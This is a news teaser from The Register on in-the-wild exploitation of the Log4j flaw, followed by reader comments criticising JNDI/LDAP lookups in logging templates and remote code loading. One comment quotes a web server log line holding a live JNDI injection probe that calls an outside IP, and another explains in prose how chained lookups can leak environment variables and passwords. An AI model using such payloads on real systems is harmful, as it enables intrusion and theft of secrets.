Log4j RCE latest: In case you hadn't noticed, this is Really Very Bad, exploited in the wild, needs urgent patching Miscreants are wasting no time in using the widespread Log4j vulnerability to compromise systems, with waves and waves of live exploit attempts focused mainly – for now – on turning infected devices into cryptocurrency-mining botnet drones. Check Point said this morning it was seeing around 100 exploit attempts every minute, …
This really does sound very similar to a SQL injection attack. It's remarkable that, in this day and age, there's still widely-used stuff around where the developers didn't think "that's some user input there, I'd better escape it before trying to do anything with it", and instead seem to have gone with "I think I'll take this random untrusted string and try to execute it."
It's not my day-to-day language, but I seem to recall that Java even has a concept of tainted data...
That's what makes this quite so flabbergasting. It seems tens of thousands of us have all been sat there using log4j2*, fully aware that it has a templating engine embedded without anyone ever checking to see whether that templating engine would resist malicious input.
*Though frankly these days most Java-ites are on Logback.
Likewise we've all been sat there happily using a logging library that lets you template in JNDI and explicitly advertises this as a way to make ldap lookups.
Why? Why would you ever want to do an ldap lookup as part of your log message template? Absolute tip-top lunacy.
To make matters worse you can chain the templates. So you don't just have to trick ldap into retrieving a malicious class to retrieve + execute, you can just trick the server into sending you an ldap request embedded with, say, every environment variable and every item in the application's Configuration class. Database passwords, session secrets, network topology - all yours!
Why would you ever want to do an ldap lookup as part of your log message template?
So that the sales droids can impress the pointy-headed buyers. "Look at how we enable logging customisation with all these cool features. As you know, big data is the lifeblood of the modern organisation and we let you gather the information that one of your code monkeys can mine for trends and that you can use to show the CTO how much you deserve a bonus. Thank you. Sign right here."
The Apache Software Foundation is a broad church of around 1,000 members providing governance, infrastructure and legal support to over 350 open source projects. Apache HTTP Server is just one of those. Aside from a common governance model and intellectual property framework the projects are entirely independent.
Yea, the SQL injection vector, resulting from the 'don't change the default, shipping administrator password of MS-SQL Server and build your companies databases and websites using the instance', vulnerability, V 1.0. The good old days.
Now though the design, maintenance and support of Open Source libraries falls to 'zero paid' resources, there is no motivation or profit in oversight of methods for designing and executing backward compatibility, there is considerable difficulty tracing the use of Log4j use in applications other than Apache (and Apapche is very serious). Because LDAP is ubiquitous, from webservers to networks of embedded systems buried inside the dark recesses of planes, trains, and automobiles, good luck on updating those 'anonymous supply chains'.
I was looking over the shoulder of white hats using Security Focus's network of 18,000 log analyzers at the time of SQL Server vulnerability and original SQL injection exploit and watched it go global , like fire on dry tinder, in 24 hours in 2003. Whoa. Imagine what's happening with this vulnerability.
I can't imagine how fast and sophisticated the exploits of this vulnerability will be developed and propagated today.
This is all very complicated and I don't understand it. A logging library needs JNDI, RMI and LDAP functionality? Beyond PRINT (message)? Maybe it's a joke. Very fortunately, I use JULI Commons and I've just found:-
GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 878 "${jndi:dns://45.83.64.1/securityscan-http80}
in my web server log file....
enabled???
There's no reason whatsoever for this to be _included_. By default or not.
My gast is well and truly flabbered.
A logging system should take what it's given and store it somewhere. It has no need to interpret/evaluate that input and definitely no hint of a reason to execute it.
A logging system should take what it's given and store it somewhere. It has no need to interpret/evaluate that input and definitely no hint of a reason to execute it.
Yeah thinking about it if something needs to act on it then a separate utility should be parsing the output and doing so. Separation of concerns and all that.. Still a potential security hole but at less likely to be included by default and one can hope that concentrating the developer's mind on a smaller scope might help them realise the risk.
I suggest that this is a manifestation of the open source movement, and I'm being nice (honest). It would take a lot to persuade a commercial vendor to include all this (unnecessary) stuff into a retail library. Time is money and there's probably little user demand for JNDI/RMI/LDAP features in logging.
But all commercial/managerial sense goes out of the window for most open source stuff. If you're doing it as an unpaid hobby, they why not? It's fun. Some might even consider it art. Anything goes if there's no market strategy (and there's no market). New features creep in unchecked as young developers 'play' with the latest cool thing, irrespective of whether there's any demand for them. Therein lies the RMI and the problem...
The idea of looking up a message template for culture dependant messages is not totally bonkers, but doing it remotely is a bit dumb.
The exploit here is that it's assumed to be a string, but if the LDAP server returns a Java object (e.g. com.russia.gru.nasty), RMI will make a remote class loader call to get the class to deserialize the object.
The nasty bit is that the loaded class is now running on the app-server (probably behind the DMZ, and probably running as a service-account).
RMI was a bad idea 20 years ago (.NET 1 made a point of avoiding it)
This demonstrates yet again that languages being able to load arbitrary code from any location is a 'Bad Thing'.
If a language can only load modules from sub directories of where it is stored then malicious strings like this just result in errors; unless your system is so badly compromised it's game over.
STOP LOADING CODE FROM RANDOM INTERNET LOCATIONS!!!!
Pulling in libraries and modules direct from repositories is lazy programming and every idiot who does it should be fined and sacked when this happens.
By all means use the libraries but run them from local storage and deny the code access to the internet.
And before you lot start ranting I do program, in FORTRAN, C and assembler.....
Yup. I've had occasion to load external code for things like plugins but I have always been leary of it (even going back 30 years) and have insisted on some form of validation when loading and as far as possible sandboxing when executing.
In the early years it was just because I didn't trust the buggers writing the DLLs (third parties) but as time has gone on my trust has done nothing but reduce. On the plus side now that I'm working with C# I do have a degree of implicit protection courtesy of assembly signing. But still - I sandbox where I can.
This is what made Flash so insecure - bring in anything and run it without question, features over security.
By the way, don't assume subdirectories are absolutely secure, you still have to be careful. There's the well known vulnerability of assuming your script.sh is actually being run from the right location. They just cd to their own directory and replace your script.sh, so that the top level code executes their script not yours. This is a classic escalation of privilege weakness with chmod +s.
Of course, that train has sailed since the weekend Brendan Eich inflicted javascript on the world.
Thank FSF for NoScript is what I say.
NoScript can be set to temporarily allow JS from the same domain as the page, which frequently is enough to get the text. If not, you'd better have something I really want to see before I enable any others.
'Sides, if your page of text can't be read without JS, that's your fault.
I totally agree with you, but since I write in modern languages I don't really have a choice. We don't have a budget to audit the source code of every library we use OR write it ourselves and while we could set up our own package server and only let in certain packages... there wouldn't be much point if we're not auditing the source code.
I know of a water company that is using Log4J as a message passing system, a kind of poor-mans COM+ or CORBA to notify a remote system of an event by invoking code on it, with Log4J being the means/glue to pass the messages and invoke the remote code.
It's a mad world out there.
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2025
